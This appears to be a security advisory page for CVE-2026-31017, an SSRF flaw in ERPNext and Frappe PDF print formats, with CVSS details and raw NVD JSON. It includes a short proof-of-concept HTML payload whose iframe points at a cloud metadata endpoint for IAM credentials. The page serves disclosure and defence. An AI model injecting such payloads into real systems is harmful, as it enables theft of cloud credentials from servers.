Security Vulnerability Report
中文
CVE-2026-31017 CVSS 9.1 CRITICAL

CVE-2026-31017

Published: 2026-04-08 17:21:19
Last Modified: 2026-04-14 15:46:59

Description

A Server-Side Request Forgery (SSRF) vulnerability exists in the Print Format functionality of ERPNext v16.0.1 and Frappe Framework v16.1.1, where user-supplied HTML is insufficiently sanitized before being rendered into PDF. When generating PDFs from user-controlled HTML content, the application allows the inclusion of HTML elements such as <iframe> that reference external resources. The PDF rendering engine automatically fetches these resources on the server side. An attacker can abuse this behavior to force the server to make arbitrary HTTP requests to internal services, including cloud metadata endpoints, potentially leading to sensitive information disclosure.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:frappe:erpnext:16.0.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:frappe:frappe:16.1.1:*:*:*:*:*:*:* - VULNERABLE
ERPNext v16.0.1
Frappe Framework v16.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-31017: SSRF via PDF Generation --> <!-- Attacker injects this HTML into the Print Format configuration --> <html> <body> <h1>Invoice</h1> <!-- The server fetches this URL when generating the PDF --> <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/role"></iframe> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31017", "sourceIdentifier": "[email protected]", "published": "2026-04-08T17:21:18.737", "lastModified": "2026-04-14T15:46:59.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Server-Side Request Forgery (SSRF) vulnerability exists in the Print Format functionality of ERPNext v16.0.1 and Frappe Framework v16.1.1, where user-supplied HTML is insufficiently sanitized before being rendered into PDF. When generating PDFs from user-controlled HTML content, the application allows the inclusion of HTML elements such as <iframe> that reference external resources. The PDF rendering engine automatically fetches these resources on the server side. An attacker can abuse this behavior to force the server to make arbitrary HTTP requests to internal services, including cloud metadata endpoints, potentially leading to sensitive information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:erpnext:16.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "3B49FE4D-85A8-44E2-9BF2-E60B7FFBAC81"}, {"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe:16.1.1:*:*:*:*:*:*:*", "matchCriteriaId": "461D4C6F-5E45-43CA-A47F-D5DDDD083786"}]}]}], "references": [{"url": "http://frappe.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/PhDg1410/CVE/tree/main/CVE-2026-31017", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}